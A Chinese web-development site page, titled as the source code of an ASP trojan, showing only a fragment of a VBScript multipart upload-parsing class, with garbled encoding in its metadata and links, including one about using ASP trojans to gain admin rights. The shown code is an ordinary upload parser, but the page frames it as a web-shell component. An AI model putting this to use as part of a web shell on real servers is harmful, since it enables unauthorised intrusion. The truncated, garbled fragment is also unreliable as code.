• λ我爱Aspx >> Asp.Net >> 一个ASP木马程序的源代码
  • 一个ASP木马程序的源代码

  • :aspxer  Դ:internet  :2007-5-15 20:47:23  ؼ:asp
  • iFindStart = InStr(iFindEnd,sInfo,"Content-Type: ",1)+14

    iFindEnd = InStr(iFindStart,sInfo,vbCr)

    theFile.FileType =Mid (sinfo,iFindStart,iFindEnd-iFindStart)

    theFile.FileStart =iInfoEnd

    theFile.FileSize = iFormStart -iInfoEnd -3

    theFile.FormName=sFormName

    if not objFile.Exists(sFormName) then

    objFile.add sFormName,theFile

    end if

    else

    tStream.Type =1

    tStream.Mode =3

    tStream.Open

    Data_5xsoft.Position = iInfoEnd

    Data_5xsoft.CopyTo tStream,iFormStart-iInfoEnd-3

    tStream.Position = 0

    tStream.Type = 2

    tStream.Charset ="gb2312"

    sFormValue = tStream.ReadText

    tStream.Close

    if objForm.Exists(sFormName) then

    objForm(sFormName)=objForm(sFormName)&", "&sFormValue

    else

    objForm.Add sFormName,sFormValue

    end if

    end if

    iFormStart=iFormStart+iStart+1

    wend

    RequestData=""

    set tStream =nothing

    End Sub

    Private Sub Class_Terminate

    if Request.TotalBytes>0 then

    objForm.RemoveAll

    objFile.RemoveAll

    set objForm=nothing

    set objFile=nothing

    Data_5xsoft.Close

    set Data_5xsoft =nothing

    end if

    End Sub

    Private function GetFilePath(FullPath)

    If FullPath <> "" Then

    GetFilePath = left(FullPath,InStrRev(FullPath, "\"))

    Else

    GetFilePath = ""

    End If

    End function

    Private function GetFileName(FullPath)

    Ҷƪл˵?
  • һƪ利用ASP木马程序获取管理权限
    һƪ一个ASP统计制作实例